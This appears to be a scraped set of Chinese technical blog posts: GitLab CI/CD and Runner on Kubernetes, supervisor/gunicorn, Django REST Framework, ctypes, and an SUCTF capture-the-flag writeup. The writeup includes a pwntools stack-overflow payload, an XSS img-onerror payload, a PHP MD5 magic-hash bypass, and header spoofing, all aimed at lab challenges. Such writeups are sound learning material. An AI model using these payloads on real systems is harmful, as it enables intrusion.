executor-rolebindingsubjects:- kind: ServiceAccount name: executor namespace: cicdroleRef: kind: Role name: executor apiGroup: rbac.authorization.k8s.io---apiVersion: v1kind: ConfigMapmetadata: namespace: cicd labels: app: gitlab-deployer name: gitlab-runner-cmdata: # 具体可用的参数配置以及环境变量配置可以运行 gitlab-runner register --help 查看 REGISTER_NON_INTERACTIVE: "true" REGISTER_LOCKED: "false" CI_SERVER_URL: "https://gitlab.com/ci" METRICS_SERVER: "0.0.0.0:9100" RUNNER_CONCURRENT_BUILDS: "4" RUNNER_REQUEST_CONCURRENCY: "4" RUNNER_TAG_LIST: "tag1,tag2" RUNNER_EXECUTOR: "kubernetes" KUBERNETES_NAMESPACE: "cicd" KUBERNETES_SERVICE_ACCOUNT: "executor" KUBERNETES_CPU_LIMIT: "100m" KUBERNETES_MEMORY_LIMIT: "100Mi" KUBERNETES_SERVICE_CPU_LIMIT: "100m" KUBERNETES_SERVICE_MEMORY_LIMIT: "100Mi" KUBERNETES_HELPER_CPU_LIMIT: "100m" KUBERNETES_HELPER_MEMORY_LIMIT: "100Mi" KUBERNETES_PULL_POLICY: "if-not-present" KUBERNETES_TERMINATIONGRACEPERIODSECONDS: "10" KUBERNETES_POLL_INTERVAL: "5" KUBERNETES_POLL_TIMEOUT: "360" KUBERNETES_IMAGE: "kubectl:1.8.1"---apiVersion: v1kind: Secretmetadata: name: gitlab-ci-token namespace: cicdtype: Opaquedata: token: aGhoaGhoaGg=---apiVersion: apps/v1beta2kind: Deploymentmetadata: name: runner namespace: cicd labels: app: runnerspec: replicas: 1 selector: matchLabels: app: runner template: metadata: labels: app: runner spec: containers: - name: ci-builder image: gitlab/gitlab-runner:v10.6.0 command: # 命令有点长,做了以下几步:注销当前的 runner name 以防止 runner 冲突;注册新的 runner;启动 runner daemon - /bin/bash - -c - "/usr/bin/gitlab-runner unregister -n $RUNNER_NAME || true; /usr/bin/gitlab-runner register; exec /usr/bin/gitlab-runner run" imagePullPolicy: IfNotPresent envFrom: # 通过 ConfigMap 注入 runner 配置 - configMapRef: name: gitlab-runner-cm env: # 通过 Secret 注入与 GitLab 实例进行交互所用的 CI Token # runner 命令会自动从环境变量中读取这个 token,用于注册 runner - name: CI_SERVER_TOKEN valueFrom: secretKeyRef: name: gitlab-ci-token key: token # 动态注入环境变量,使用 pod name 作为 runner name # 刚查了一下文档,如果不通过环境变量指定 runner name 的话,会用当前环境的 hostname,也就是 pod name 来做 runner name # 那完全没必要把这个 pod name 注册进去嘛… - name: RUNNER_NAME valueFrom: fieldRef: fieldPath: metadata.name # gitlab-runner 自带 Prometheus metrics server,通过上面的 METRICS_SERVER 环境变量配置 # 强的一比! ports: - containerPort: 9100 name: http-metrics protocol: TCP resources: limits: cpu: "100m" memory: "100Mi" requests: cpu: "100m" memory: "100Mi" lifecycle: # 在 pod 停止前,注销这个 runner preStop: exec: command: - /bin/bash - -c - "/usr/bin/gitlab-runner unregister -n $RUNNER_NAME" restartPolicy: Always 这里注意两点: Kubernetes executor 不支持在运行 job 是使用 service alias,所以访问服务时都要通过 127.0.0.1 来访问; 你可能注意到,配置里出现了三种 resource limit 配置:KUBERNETES_CPU_LIMIT, KUBERNETES_SERVICE_CPU_LIMIT, KUBERNETES_HELPER_CPU_LIMIT,这里三个配置将应用于 kubernetes job pod 中的三类容器,第一类用于实际执行命令,第二类(service 容器)用于启动 job 所需的 service,第三类(helper 容器)用于任务执行之前的代码拉取,以及任务执行之后构建产物(artifact)的上传。我们可以通过配置来为三种容器赋予不同的资源限制。 至此,我们可以在 Docker 和 Kubernetes 环境下部署 GitLab Runner.","categories":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/categories/DevOps/"}],"tags":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/tags/DevOps/"},{"name":"GitLab","slug":"GitLab","permalink":"https://blog.stdioa.com/tags/GitLab/"},{"name":"CI/CD","slug":"CI-CD","permalink":"https://blog.stdioa.com/tags/CI-CD/"}],"author":"David Dai"},{"title":"GitLab CI/CD 基础教程(一)","slug":"gitlab-cicd-fundmental","date":"2018-06-06T07:46:00.000Z","updated":"2022-09-10T01:41:19.793Z","comments":true,"path":"2018/06/gitlab-cicd-fundmental/","link":"","permalink":"https://blog.stdioa.com/2018/06/gitlab-cicd-fundmental/","excerpt":"最近玩了 GitLab CI/CD 平台,通过搭建这个平台也收获了一些关于 DevOps 的基本技能,打算通过几篇文章来讲述一下 GitLab CI/CD 平台的构建及应用。本文对 GitLab CI/CD 以及 CI/CD 流程定义文件的写法做了简要介绍。","text":"最近玩了 GitLab CI/CD 平台,通过搭建这个平台也收获了一些关于 DevOps 的基本技能,打算通过几篇文章来讲述一下 GitLab CI/CD 平台的构建及应用。本文对 GitLab CI/CD 以及 CI/CD 流程定义文件的写法做了简要介绍。 前几个月公司技术改进,某些业务部署在 k8s 集群中,于是我们开始通过 GitLab 自带的 CI/CD 功能来实现服务的测试、构建及部署,所以才有了这篇文章。 1. 基本概念 1.1 CI/CD CI,Continuous Integration,为持续集成。即在代码构建过程中持续地进行代码的集成、构建、以及自动化测试等;有了 CI 工具,我们可以在代码提交的过程中通过单元测试等尽早地发现引入的错误; CD,Continuous Deployment,为持续交付。在代码构建完毕后,可以方便地将新版本部署上线,这样有利于快速迭代并交付产品。 1.2 GitLab CI/CD GitLab CI/CD(后简称 GitLab CI)是一套基于 GitLab 的 CI/CD 系统,可以让开发人员通过 .gitlab-ci.yml 在项目中配置 CI/CD 流程,在提交后,系统可以自动/手动地执行任务,完成 CI/CD 操作。而且,它的配置非常简单,CI Runner 由 Go 语言编写,最终打包成单文件,所以只需要一个 Runner 程序、以及一个用于运行 jobs 的执行平台(如裸机+SSH,Docker 或 Kubernetes 等,我推荐用 Docker,因为搭建相当容易)即可运行一套完整的 CI/CD 系统。 下面针对 Gitlab CI 平台的一些基本概念做一个简单介绍: Job Job 为任务,是 GitLab CI 系统中可以独立控制并运行的最小单位。 在提交代码后,开发者可以针对特定的 commit 完成一个或多个 job,从而进行 CI/CD 操作。 Pipeline Pipeline 即流水线,可以像流水线一样执行多个 Job. 在代码提交或 MR 被合并时,GitLab 可以在最新生成的 commit 上建立一个 pipeline,在同一个 pipeline 上产生的多个任务中,所用到的代码版本是一致的。 Stage 一般的流水线通常会分为几段;在 pipeline 中,可以将多个任务划分在多个阶段中,只有当前一阶段的所有任务都执行成功后,下一阶段的任务才可被执行。 注:如果某一阶段的任务均被设定为“允许失败”,那这个阶段的任务执行情况,不会影响到下一阶段的执行。 上图中,整条流水线从左向右依次执行,每一列均为一个阶段,而列中的每个可操控元素均为任务。 左边两个阶段的任务是自动执行的任务,在 commit 提交后即可自动开始运行,执行成功或失败后,可以点击任务右边的按钮重试;而右边两个是手动触发任务,需要人工点击右边的“播放”按钮来手动运行。 2. CI/CD 流程配置 2.1 完整定义 GitLab 允许在项目中编写 .gitlab-ci.yml 文件,来配置 CI/CD 流程。 下面,我们来编写一个简单的测试→构建→部署的 CI/CD 流程。 首先,可以定义流程所包含的阶段。我们的流程包含三个阶段:测试、构建和部署。 在 .gitlab-ci.yml 的开头,定义好所有阶段、以及执行每个任务之前所需要的环境变量以及准备工作,然后定义整个流程中包含的所有任务: 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455stages: - test - build - deployvariables: IMAGE: docker.registry/name/${CI_PROJECT_NAMESPACE}-${CI_PROJECT_NAME}before_script: - IMAGE_TAG=${IMAGE}:${CI_COMMIT_SHA:0:8}test_all: image: "pymicro" stage: test services: - name: mysql:5.6 alias: mysql veriables: MYSQL_DATABASE: db MYSQL_ROOT_PASSWORD: password before_script: - pip install -U -r requirements.txt script: - flake8 app - pytest testsbuild_image: image: "docker:17.11" stage: build services: - name: "docker:17.12.0-ce-dind" alias: dockerd variables: DOCKER_HOST: tcp://dockerd:2375 only: - master tags: - build script: - docker build -t ${IMAGE_TAG} -f Dockerfile . - docker push ${IMAGE_TAG}deploy_production: stage: deploy variables: GIT_STRATEGY: none only: - master when: manual tags: - deploy-production script: - kubectl set image deploy/myproject "app=${IMAGE_TAG}" --record 在每个任务中,通常会包含 image, stage,services, script 等字段。 其中,stage 定义了任务所属的阶段;image 字段指定了执行任务时所需要的 docker 镜像;services 指定了执行任务时所需的依赖服务(如数据库、Docker 服务器等);而 script 直接定义了任务所需执行的命令。 下面简单介绍一下每个阶段中的任务。 2.2 测试 在测试任务中,我们启动了 MySQL 服务,并通过环境变量注入了 MySQL 的初始数据库以及 Root 密码,在服务启动后,Runner 会运行 before_script 中的命令来安装所需依赖;安装成功后就会运行 script 属性中的命令来进行代码风格检查以及单元测试; 可以注意到,我们的 MySQL 服务下有一个 alias 属性标识服务别名。如果你的 Runner 运行在 Docker 平台下,你可以直接通过服务别名访问到该测试环境中对应的服务。比如在这个任务中,我们就可以用 mysql://root:password@mysql/db 来访问测试数据库。 2.3 构建 在构建任务中,我们会用 Dockerfile 注入依赖,将工程打包成 Docker 镜像并上传; 我们为这个任务定义了一些额外的属性:tag 属性可以标记这个任务将在含有特定 tag 的 CI Runner 上运行;而 only 属性表示只有这个 commit 在特定的分支下(如 master)时,才可以在此 commit 上运行这个任务。 only 和 except 支持很多种环境条件判断,详细的用法可以参考官方文档。 另外,我们在 before_scripts 中,通过环境变量拿到了项目所属的组,以及项目名称。GitLab 会在运行任务前,向环境中注入很多环境变量,来表明运行环境以及上下文。所有的环境变量列表可以看文档。 2.4 部署 在部署任务中,我们会用 kubectl set image 命令将我们刚刚构建的镜像发布到生产环境。 这个任务中的 when 表示运行该任务所需要的必要条件,如前一阶段任务全部成功。when: manual 表示该操作只允许手动触发。该属性具有四个选项,具体请见文档。 至此,我们在 .gitlab-ci.yml 中定义了一套完整的测试→构建→部署流程。","categories":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/categories/DevOps/"}],"tags":[{"name":"DevOps","slug":"DevOps","permalink":"https://blog.stdioa.com/tags/DevOps/"},{"name":"GitLab","slug":"GitLab","permalink":"https://blog.stdioa.com/tags/GitLab/"},{"name":"CI/CD","slug":"CI-CD","permalink":"https://blog.stdioa.com/tags/CI-CD/"}],"author":"David Dai"},{"title":"使用 supervisor 及 gunicorn 部署 Web 应用","slug":"deploy-apps-with-supervisor-and-gunicorn","date":"2017-03-19T09:00:00.000Z","updated":"2022-09-10T01:41:19.791Z","comments":true,"path":"2017/03/deploy-apps-with-supervisor-and-gunicorn/","link":"","permalink":"https://blog.stdioa.com/2017/03/deploy-apps-with-supervisor-and-gunicorn/","excerpt":"很久之前就想尝试一下用 supervisor 部署 Web 应用,几个月前把 Python 应用的服务器都换成了 gunicorn,今天终于把进程管理服务换成了 supervisor. 看我的拖延症。","text":"很久之前就想尝试一下用 supervisor 部署 Web 应用,几个月前把 Python 应用的服务器都换成了 gunicorn,今天终于把进程管理服务换成了 supervisor. 看我的拖延症。 1. 前言 之前一直在用 tmux 来托管各种 Web 应用进程,感觉这种想法真的很蠢,于是今天把托管方式换成了更专业的 supervisor,并用它托管了三个 Django APP,一个 flask APP,还有一个 node APP. 简单看看今天要用的东西: gunicorn,一个 Python 实现的 WSGI 服务器; supervisor,一个进程管理工具。 Django, Flask, Node.js,不多说。 2. supervisor 安装及基础配置 pip2 install supervisor 即可。注意,supervisor 不支持 Python 3. supervisor 提供了一个配置生成程序 echo_supervisord_conf,可以用它来直接生成一个实例配置文件。直接输入 echo_supervisord_conf > /etc/supervisor/supervisord.conf,将配置写入文件。 随后,修改配置文件,开启 http 管理服务: 1234[inet_http_server] ; inet (TCP) server disabled by defaultport = 127.0.0.1:9001 ; (ip_address:port specifier, *:port for all iface)username = stdio ; (default is no username (open server))password = password ; (default is no password (open server)) 添加选项,包含子目录 conf.d 下的所有配置文件: 12[include]files = conf.d/*.conf 随后,使用 sudo supervisord -c /etc/supervisor/supervisord.conf,启动 supervisor 守护进程。 配置一下 Nginx,登录管理页面,可以看到 supervisor 正在运行,不过现在还没有配置任何服务。 同理,可以使用 supervisorctl 程序,来查看服务运行状态。 3. 服务托管 3.1 托管一个 Django 应用 进入 conf.d 文件夹,创建配置文件(如 baybook.conf)。 1234567891011[program:baybook]command = gunicorn baybook.wsgi -b 127.0.0.1:8002 -n baybook ; 运行命令directory = /home/stdio/websites/baybook ; 运行路径user = stdioautostart = trueautorestart = truestartsecs = 5startretries = 3stdout_logfile = /var/log/supervisor/baybook_stdout.logstderr_logfile = /var/log/supervisor/baybook_stderr.logenvironment=DJANGO_SETTINGS_MODULE="baybook.settings.production" 其中,environment 选项可以配置运行环境的环境变量,比如在此处更改了 Django 的配置文件选项;startsecs 选项表示正常启动所需的时间,比如,当程序已持续运行超过 5 秒时,则视为程序启动成功。 具体的配置选项可以查看文档。 保存文件后,运行 supervisorctl update 使配置生效。 随后可以输入 supervisorctl status 来查看配置状态。 12$ sudo supervisorctl statusbaybook RUNNING pid 7658, uptime 1:19:55 supervisor 提供了一个命令行界面,直接输入 supervisorctl 即可进入,随后可以输入一系列命令,如 start, stop, status, restart 来查看和控制服务运行状态。 当然,也可以在 Web 管理页面中,查看及控制服务的运行状态。 3.2 托管 Node 应用 Node 和 Django 的配置文件基本相同,不过,因为我的 node 应用 的启动速度比较慢,所以我把 startsecs 调高到了 30 秒。 3.3 托管 Flask 应用 因为我的 Flask 应用运行在 virtualenv 创建的虚拟环境中,所以 command 命令要稍微改一下,将 gunicorn 可执行文件的路径改为虚拟环境中的 gunicorn 绝对路径,如 /home/stdio/websites/crypt/venv/bin/gunicorn. 4. 后记 好像可写的就这么多… 以后研究一下 gunicorn,再补充 gunicorn 的相关内容吧。","categories":[{"name":"Web","slug":"Web","permalink":"https://blog.stdioa.com/categories/Web/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"},{"name":"Django","slug":"Django","permalink":"https://blog.stdioa.com/tags/Django/"},{"name":"supervisor","slug":"supervisor","permalink":"https://blog.stdioa.com/tags/supervisor/"},{"name":"gunicorn","slug":"gunicorn","permalink":"https://blog.stdioa.com/tags/gunicorn/"}]},{"title":"Django REST Framework 入门","slug":"DRF-demo","date":"2017-03-09T06:52:00.000Z","updated":"2022-09-10T01:41:19.789Z","comments":true,"path":"2017/03/DRF-demo/","link":"","permalink":"https://blog.stdioa.com/2017/03/DRF-demo/","excerpt":"拖了很久,终于用 Django REST Framework 写了个小 Demo.","text":"拖了很久,终于用 Django REST Framework 写了个小 Demo. 1. Django REST Framework Django REST Framework 是一个用来构造 Web API 的、强大而灵活的工具包。 最早认识这个框架是在我翻译的《5 个最受人喜爱的开源 Django 包》中,而真正接触它的时候已经是在五个月之后。那个时候在扇贝实习,第一次体会到了这个框架的简单易用。但那个时候也仅仅是做码农堆代码,并没有对这个框架产生特别深的了解。 前两天写了一个小 Demo,尝试着用比较少的代码实现对某个模型的增删改查操作,今天简单把实现过程记录一下。完整的代码在这里。 2. 一点准备工作 先安装依赖(推荐使用 virtualenv,虽然我从来不用🌚):pip install Django djangorestframework. 然后创建工程,创建 app. 123django-admin startproject drf_democd drf_demo./manage.py startapp demo 简单写一个 model: 12345# demo/models.pyfrom django.db import models class Data(models.Model): content = models.CharField(max_length=128) 迁移数据库: 12./manage.py makemigrations./manage.py migrate 在项目设置中添加 APP,顺便把 DRF 也添加进去: 123456# drf_demo/settings.pyINSTALLED_APPS = [ # ... 'rest_framework', 'demo'] 在 root URL conf 中添加 APP 的 URL: 12345# drf_femo/urls.pyurlpatterns = [ # ... url(r'^', include('demo.urls'))] 3. 开始动手写 API 如果在 Django 中写一个页面,你需要: 在 urls.py 中注册 view; 在 views.py 中编写 view; 在 templates 文件夹中编写模板。 相对地,如果使用 DRF 创建一组 API,你需要: 在 urls.py 中定义并注册 router; 在 views.py 中定义 ViewSet; 在 serializers.py 中定义 serializer. 3.1 创建 serializer serializer 是什么? 简单而言,serializer 就是一种根据配置,用来把数据在 model instance 及 raw data 之间转换的对象。 比如:我们可以针对刚刚定义的 model Data 来创建一个 serializer: 123456789# demo/serializers.pyfrom .models import Datafrom rest_framework.serializers import ModelSerializer class DataSerializer(ModelSerializer): class Meta: model = Data fields = ("id", "content") 然后,我们就可以通过这个 serializer 将数据在 Data 对象及 JSON 数据之间转换: 123456789101112131415161718from demo.serializers import Data, DataSerializerfrom rest_framework.renderers import JSONRenderer # 用于 JSON 渲染及解析from rest_framework.parsers import JSONParserfrom django.utils.six import BytesIO instance = Data(content="test")instance.save() serializer = DataSerializer(instance)JSONRenderer().render(serializer.data) # b'{"id":1,"content":"test"}' raw = b'{"id":2,"content":"another"}'stream = BytesIO(raw) # 将 JSON 数据变成 Python dictdata = JSONParser().parse(stream) serializer = DataSerializer(data=data)ins = serializer.save() # <Data: Data object>ins.__dict__ # {'content': 'another', 'id': 2} 3.2 创建 ViewSet 非常简单,在 views.py 中定义一个 ViewSet 类,标明对应的 model 以及 serializer 即可: 123456789# demo/views.pyfrom rest_framework.viewsets import ModelViewSetfrom .models import Datafrom .serializers import DataSerializer class DataViewSet(ModelViewSet): queryset = Data.objects.all() serializer_class = DataSerializer 3.3 定义、配置并注册 router 1234567891011# demo/urls.pyfrom django.conf.urls import url, includefrom rest_framework.routers import DefaultRouterfrom .views import DataViewSet router = DefaultRouter() # 定义 routerrouter.register('data', DataViewSet) # 注册 viewset urlpatterns = [ url(r'^', include(router.urls)), # 在 urlpatterns 里包含 router] 4. 大功告成! 启动服务器,访问 /data/,你就会看到 DRF 精美的调试界面,真是感动😭 按照 RESTful API 规范,在列表界面,你可以通过 POST 表单来创建新对象: 在详情界面(/data/1/),你可以通过 PUT 表单修改对象,或通过 DELETE 按钮来删除对象: 当然,如果你乐意,使用 CURL 来调试也是可以的,服务器会给你返回 JSON 而不是 HTML: 12$ curl -XPUT --data "content=edit" http://localhost:8000/data/1/{"id":1,"content":"edit"} 5. 等等…别忘了写测试! DRF 提供了一系列工具来协助 RESTful API 测试,比如 rest_framework.test.APIClient. APIClient 在发送请求时会根据配置自动设定 Content-Type, 而不是用 Django 自带 djanto.test.Client 的 application/octet-stream,方便了 API 测试。 测试代码不在这里贴出(有些无趣),感兴趣的同学可以戳戳戳这里。 教程结束。 这两天我还会继续看 DRF,后面还会继续更新相关内容。 更新… 然而并没有更新。 我看完了 DRF 的 tutorial,也在某个项目里碰到了坑/难用的地方,不过这些都没有太多可写的地方,所以就算了吧,遇到问题翻文档就好,DRF 的文档写的还是挺不错的。","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/tags/Python/"},{"name":"Django","slug":"Django","permalink":"https://blog.stdioa.com/tags/Django/"},{"name":"Django REST Framework","slug":"Django-REST-Framework","permalink":"https://blog.stdioa.com/tags/Django-REST-Framework/"}]},{"title":"Python 学习之 ctypes","slug":"learning-python-ctypes","date":"2016-12-30T03:27:00.000Z","updated":"2022-09-10T01:41:19.795Z","comments":true,"path":"2016/12/learning-python-ctypes/","link":"","permalink":"https://blog.stdioa.com/2016/12/learning-python-ctypes/","excerpt":"课设写不完,要炸了… Windows UI 好难写,只好用 PyQt 解决… 怎么把 Python 和 C 模块连起来?就用 ctypes.","text":"课设写不完,要炸了… Windows UI 好难写,只好用 PyQt 解决… 怎么把 Python 和 C 模块连起来?就用 ctypes. 1. 简介 ctypes 是一个 Python 外部库。它提供 C 语言兼容的数据结构,而且我们可以通过它来调用 DLL 或共享库(shared library)的函数。 2. 快速上手 编写 mod.c: 12345678910111213141516#include <stdio.h>#include <string.h>#include <stdlib.h> int add(int a, int b){ return a+b;} char *hello(char *name){ char *str; str = (char *)malloc(100); sprintf(str, "Hello, %s", name); return str;} 将 C 程序编译为共享库:gcc -fPIC -shared mod.c -o mod.so 编写 Python 代码: 1234567891011121314# coding: utf-8from ctypes import * mod = CDLL("./mod.so") print(mod.add(1, 2)) # 3 hello = mod.hellohello.restype = c_char_p # Set response type, # otherwise an address(integer) will be returned world = create_string_buffer(b"World")res = hello(byref(world)) # Pass by pointerprint(res) 完。 剩下的等写完课设再更。","categories":[{"name":"Python","slug":"Python","permalink":"https://blog.stdioa.com/categories/Python/"}],"tags":[{"name":"python","slug":"python","permalink":"https://blog.stdioa.com/tags/python/"},{"name":"ctypes","slug":"ctypes","permalink":"https://blog.stdioa.com/tags/ctypes/"}]},{"title":"SUCTF 非官方 Writeup","slug":"SuCTF-Writeup","date":"2016-11-15T11:23:58.000Z","updated":"2022-09-10T01:41:19.789Z","comments":true,"path":"2016/11/SuCTF-Writeup/","link":"","permalink":"https://blog.stdioa.com/2016/11/SuCTF-Writeup/","excerpt":"又玩了一场 CTF,虽然是个人赛,但是有老司机带我飞。继续开脑洞,也学到了不少,做了很多之前没做过的题。","text":"又玩了一场 CTF,虽然是个人赛,但是有老司机带我飞。继续开脑洞,也学到了不少,做了很多之前没做过的题。 PWN 这是你 hello pwn? 文件在这里。 反编译得到 main 和 getflag 函数: 12345678910111213141516171819202122232425262728293031int __cdecl main(int argc, const char **argv, const char **envp){ int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); write(1, "let's begin!\\n", 0xDu); read(0, &v4, 0x100u); return 0;} //----- (0804865D) --------------------------------------------------------int getflag(){ char format; // [sp+14h] [bp-84h]@4 char s1; // [sp+28h] [bp-70h]@3 FILE *v3; // [sp+8Ch] [bp-Ch]@1 v3 = fopen("flag.txt", "r"); if ( !v3 ) exit(0); printf("the flag is :"); puts("SUCTF{dsjwnhfwidsfmsainewmnci}"); puts("now,this chengxu wil tuichu........."); printf("pwn100@test-vm-x86:$"); __isoc99_scanf("%s", &s1); if ( strcmp(&s1, "zhimakaimen") ) exit(0); __isoc99_fscanf(v3, "%s", &format); return printf(&format);} 可以看出这个题需要覆盖返回地址,使主函数的返回地址变为 0x0804865D, 跳至 getflag 函数, 然后输入 “zhimakaimen” 得到 flag. 编写 payload: 123456from pwn import * r = remote('xxx.xxx.xxx.xxx', 10000)r.send('A' * 112 + '\\x5d\\x86\\x04\\x08')r.interactive() 最后得到 flag: SUCTF{5tack0verTlow_!S_s0_e4sy}. 简单的栈溢出攻击,我做的第一道 PWN 题。一开始不知道 pwntool, 用 socket 写了一大堆代码,简直醉人。 Web flag 在哪? 在 Cookie 里。HTTP 响应头带有 Cookie: flag=suctf%7BThi5_i5_a_baby_w3b%7D 字段。 编码 都说了是编码,找吧。 HTTP 响应头部有 Password: VmxST1ZtVlZNVFpVVkRBOQ==,base64 解码三次得出 Su233,提交至网页得到 flag. 然而网页上的提交按钮是假的😂 好吧,反正表单 method 是 GET,从 URL 里输进去就行了。最后得到 flag: suctf{Su_is_23333} XSS1 XSS 过滤了 <script> 标签。试试 img 吧。 提交 Payload <img src=# onerror=alert(1)>,得到 flag suctf{too_eaSy_Xss}. PHP 是世界上最好的语言 网页内容为空,查看源码得到 php: 1234if(isset($_GET["password"]) && md5($_GET["password"]) == "0") echo file_get_contents("/opt/flag.txt");else echo file_get_contents("xedni.php"); MD5 == "0",以前做过这道题,找个 MD5 开头是 0e 的字符串就行了,比如 s878926199a。 提交得到 flag: suctf{PHP_!s_the_bEst_1anguage}. 尼玛,字符串当数字比,PHP 真是世界上最好的语言啊。 ( ゜- ゜)つロ 乾杯 给了一长串颜文字,跑个控制台吧,竟然 alert 出一段 Brainfuck 🌚 好吧,找个 AAEncode 解码器,把混淆之前的代码解出来就行了,然后找个 Brainfuck 解释器跑一下,得到 flag: suctf{aAenc0de_and_bra1nf**k}. 你是谁?你从哪里来? 以前做过了,改 HTTP 请求头部的 Origin 和 X-Forwarded-For 字段即可。得到 flag: suctf{C0ndrulation!_y0u_f1n1shed}. XSS2 看了别人的 Writeup,麻蛋这竟然是道隐写?把 URL 中的 xss2.php 去掉竟然能把目录列出来…里面有个 TIFF 文件,文件里有 flag… 肠子搜悔青了😢 Mobile 最基础的安卓逆向题 文件在这儿。 先用 dex2jar 解出 jar 包,然后用 jd-gui 反编译,最后发现 flag 在 MainActivity 里:suctf{Crack_Andr01d+50-3asy} Mob200 文件。 反编译以后改代码,把加密过程逆过来,放到安卓系统里跑一下就能出结果。 然而 Android Studio 跟我有仇… 工程跑不起来,算了。 mips 文件。 找了个在线反编译的网站 https://retdec.com/decompilation/ 去反编译,得到代码: 123456789101112131415161718192021222324252627282930313233343536373839#include <stdint.h>#include <stdio.h>#include <string.h> char * g1 = "\\x58\\x31\\x70\\x5c\\x35\\x76\\x59\\x69\\x38\\x7d\\x55\\x63\\x38\\x7f\\x6a"; // 0x410aa0 int main(int argc, char ** argv) { int32_t str = 0; // bp-52 int32_t str2 = 0; // bp-32 printf("Input Key:"); scanf("%16s", &str); int32_t v1 = 0; // bp-56 if (strlen((char *)&str) == 0) { if (memcmp((char *)&str2, (char *)&g1, 16) == 0) { printf("suctf{%s}\\r\\n", &str); } else { puts("please reverse me!\\r"); } return 0; } int32_t v2 = 0; // 0x4008148 int32_t v3 = v2 + (int32_t)&v1; // 0x4007c0 unsigned char v4 = *(char *)(v3 + 4); // 0x4007c4 *(char *)(v3 + 24) = (char)((int32_t)v4 ^ v2); v1++; while (v1 < strlen((char *)&str)) { v2 = v1; v3 = v2 + (int32_t)&v1; v4 = *(char *)(v3 + 4); *(char *)(v3 + 24) = (char)((int32_t)v4 ^ v2); v1++; } if (memcmp((char *)&str2, (char *)&g1, 16) == 0) { printf("suctf{%s}\\r\\n", &str); } else { puts("please reverse me!\\r"); } return 0;} 里面有各种指针操作,不过也不麻烦,啃一下就好啦。 编写解密程序: 12345678char g[] = "\\x58\\x31\\x70\\x5c\\x35\\x76\\x59\\x69\\x38\\x7d\\x55\\x63\\x38\\x7f\\x6a"; int main() { for (int i = 0; i < strlen(g); i++) { printf("%c", g[i] ^ i); } printf("\\n");} 得到 flag: suctf{X0r_1s_n0t_h4rd}. 一开始在想,为啥 mips 要放在 Mobile 里?后来想到有些路由器是 mips 架构的,没毛病。 Mob300 文件。 解压 apk,能看到里面的动态链接库。随便找了个 x86 的,反编译出来,在里面找各种常量,最后找到了几段字符串拼起来的 flag: suctf{Meet_jni_50_fun}. 这个题也像是逆向… Misc 签到 Misc 的题最好玩啦。 题目上给了个 QQ 群,加进去,群文件里有 flag.txt. suctf{Welc0me_t0_suCTF} Misc-50 题目给了个 超大的 GIF,一个长条,看了半天没看出所以然来。 后来想了想,可能是每一帧拼起来能搞到 flag,于是写了个程序拼了一下。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071import osfrom PIL import Image def analyseImage(path): ''' Pre-process pass over the image to determine the mode (full or additive). Necessary as assessing single frames isn't reliable. Need to know the mode before processing all frames. ''' im = Image.open(path) results = { 'size': im.size, 'mode': 'full', } try: while True: if im.tile: tile = im.tile[0] update_region = tile[1] update_region_dimensions = update_region[2:] if update_region_dimensions != im.size: results['mode'] = 'partial' break im.seek(im.tell() + 1) except EOFError: pass return results def processImage(path): ''' Iterate the GIF, extracting each frame. ''' final_img = Image.new('RGBA', (7*71, 750)) mode = analyseImage(path)['mode'] im = Image.open(path) i = 0 p = im.getpalette() last_frame = im.convert('RGBA') try: while True: if not im.getpalette(): im.putpalette(p) new_frame = Image.new('RGBA', im.size) if mode == 'partial': new_frame.paste(last_frame) new_frame.paste(im, (0,0), im.convert('RGBA')) final_img.paste(new_frame, (7*i, 0)) i += 1 last_frame = new_frame im.seek(im.tell() + 1) except EOFError: pass return final_img def main(): final_img = processImage('Misc-50.gif') final_img.save("Misc-50-final.png") if __name__ == "__main__": main() 出来一张图片,里面有 flag: suctf{t6cV165qUpEnZVY8rX} Forensic-100 下载一个文件, file 一下发现是 gzip 压缩过的。 想用 gzip -d SU 解压,然而报了一个 gzip: SU: unknown suffix -- ignored. 重命名为 SU.gz,然后解压,得到一个 rot13 编码的字符串。解密一下: 12codecs.encode('fhpgs{CP9PuHsGx#}', 'rot13')'suctf{PC9ChUfTk#}' 关于 gzip 解压的问题,还有两种方法: gunzip -d SU,gunzip 不会管文件名,直接解压后把内容扔到 stdout 上。 cat SU | gzip -d, 用管道把 SU 的 内容输出来。 小插曲:上面那个 rot13 的字符串里有个井号,会触发 hexo 的一个谜之 bug… 蛋疼。 这不是客服的头像嘛。。。。23333 下载出一张图片,一张 jpg,EXIF 看不出名堂,stegsolve 也看不出来问题。 binwalk 一下,里面有个压缩包,然后用 dd 提出来: 12345678910$ binwalk xu.jpg DECIMAL HEX DESCRIPTION-------------------------------------------------------------------------------------------------------46046 0xB3DE RAR archive data $ dd if=xu.jpg of=xu.rar bs=1 skip=4604620221+0 records in20221+0 records out20221 bytes (20 kB) copied, 0.294344 s, 68.7 kB/s 提出来解压,得到一个 img 镜像,挂载一下,里面有四张图片,拼起来是个二维码,扫一扫得到 flag: suctf{bOQXxNoceB} Forensic-250 Can you fix it? Fix the file in the rar Tips:Audio 文件。 解压出来,发现是一个文本文件: 1ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 14 45 50 d8 e3 f9 07 bf c7 … 真是丧心病狂,把字节拆出来写到文本文件里😂 写个程序转一下。转出来就不知道干什么了… 感觉是个文件头,但是你这个文件头全被 00 刷掉了?这尼玛怎么修🌚 然后线索就断了。 Re 先利其器 下载一个文件。 拖进 IDA,找到两段代码: 